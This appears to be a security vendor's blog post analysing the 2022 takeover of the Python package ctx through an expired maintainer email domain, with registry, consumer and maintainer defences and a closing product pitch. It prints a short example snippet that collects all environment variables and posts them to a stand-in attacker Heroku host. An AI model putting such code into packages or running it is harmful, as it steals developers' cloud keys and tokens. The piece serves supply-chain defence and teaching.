In May 2022, a security researcher discovered that the popular Python package ctx had been modified to steal environment variables from every developer who installed it. The ctx package, a small utility for dictionary attribute access, had approximately 22,000 monthly downloads. The attacker had not compromised the maintainer's account through phishing or credential stuffing — they had registered the maintainer's expired email domain and used it to reset the PyPI account password.
The Attack Chain
The ctx package compromise was notable for its simplicity and the novel technique used to gain publish access:
Step 1: Domain Expiration Discovery
The attacker identified that the domain associated with the original maintainer's email address had expired and was available for registration. The maintainer had registered their PyPI account with an email like maintainer@example-domain.com, and that domain was no longer owned by anyone.
Step 2: Domain Registration
The attacker registered the expired domain, giving them control over all email addresses at that domain.
Step 3: Password Reset
With control of the email domain, the attacker initiated a password reset for the PyPI account. The reset email was delivered to the attacker-controlled mailbox. They used it to set a new password and gain full control of the maintainer account.
Step 4: Malicious Update
The attacker published a new version of ctx (0.2.6) containing code that harvested environment variables and exfiltrated them to an attacker-controlled Heroku endpoint:
import os
import requests
# Collect all environment variables
env_data = {k: v for k, v in os.environ.items()}
# Exfiltrate to attacker's server
requests.post(
'https://attacker-endpoint.herokuapp.com/upload',
json=env_data
)
Environment variables on developer machines and CI/CD systems commonly contain AWS keys, API tokens, database passwords, and other secrets. This single function call could compromise an entire organization's cloud infrastructure.
Step 5: Discovery
Security researcher Somdev Sangwan identified the malicious code and published his findings, triggering removal of the compromised version from PyPI.
A Concurrent Attack: phpass
The same technique was used around the same time against the PHP package phpass on Packagist. The attacker registered the expired domain of the maintainer's email, reset the Packagist account password, and published a malicious version. This confirmed that the technique was not package-specific but a systemic risk across any registry that uses email-based authentication.
Why This Attack Matters
The Expired Domain Problem Is Widespread
How many open source maintainers have registered accounts with email addresses on domains they no longer control? The answer is: a lot. Developers change jobs, let personal domains expire, and abandon old email addresses. If their package registry accounts are still active and tied to those emails, those accounts are vulnerable.
This is not a theoretical risk. Researchers who analyzed PyPI maintainer email domains found hundreds of accounts tied to expired or available domains.
PyPI Lacked 2FA Enforcement
At the time of the ctx compromise, PyPI did not require two-factor authentication for package publishing. An account protected only by a password could be taken over through email-based password reset. PyPI had been working toward mandatory 2FA for critical projects, but enforcement was not yet in place.
Environment Variables Are a Rich Target
The attack targeted environment variables because they are the de facto standard for injecting secrets into applications and CI/CD pipelines. A single os.environ dump can yield:
- AWS access keys and secret keys
- GitHub personal access tokens
- Database connection strings with credentials
- API keys for third-party services
- CI/CD system tokens with deployment access
The Broader PyPI Landscape
The ctx compromise was part of a broader trend of PyPI supply chain attacks in 2022:
Typosquatting surged. Researchers from Sonatype, Snyk, and Checkmarx reported hundreds of malicious packages on PyPI using names similar to popular packages. Common targets included requests, beautifulsoup4, urllib3, and colorama.
Malicious packages grew more sophisticated. Early PyPI malware was often crude — a single setup.py that ran a curl command. By mid-2022, attackers were using multi-stage payloads, obfuscation, and conditional execution that only triggered in CI/CD environments.
The Python ecosystem responded. PyPI began requiring 2FA for maintainers of the top 1% of packages (by download count). The Packaging Working Group accelerated work on trusted publishers, which would tie package publishing to verified CI/CD pipelines rather than individual user accounts.
Defensive Measures
For Package Registries
- Enforce 2FA for all accounts with publish access
- Detect expired email domains and proactively lock affected accounts
- Support hardware security keys for the highest-value accounts
- Implement trusted publishers to bind publishing to CI/CD identity rather than user identity
For Package Consumers
-
Pin dependency versions and audit changes to lockfiles:
# requirements.txt with pinned versions and hashes ctx==0.2.2 --hash=sha256:abc123... -
Use hash verification to ensure downloaded packages match expected contents:
pip install --require-hashes -r requirements.txt -
Monitor for suspicious updates to your dependencies — sudden new releases from packages that have not been updated in years are a red flag
-
Scan environment variables in CI/CD for exfiltration attempts. Network egress monitoring can detect when a build process sends data to unexpected hosts
For Maintainers
- Enable 2FA on all package registry accounts
- Use email addresses you control — do not register with a company email you might lose access to
- Audit your account recovery options regularly
- Consider using organization accounts rather than personal accounts for package publishing
How Safeguard.sh Helps
Safeguard.sh monitors PyPI and other package registries for compromised packages, maintainer account anomalies, and suspicious update patterns. When a package like ctx is flagged as malicious, our platform immediately identifies every project in your organization that depends on it and alerts your security team. Our continuous monitoring tracks maintainer activity patterns, flagging sudden updates to dormant packages that may indicate account takeover.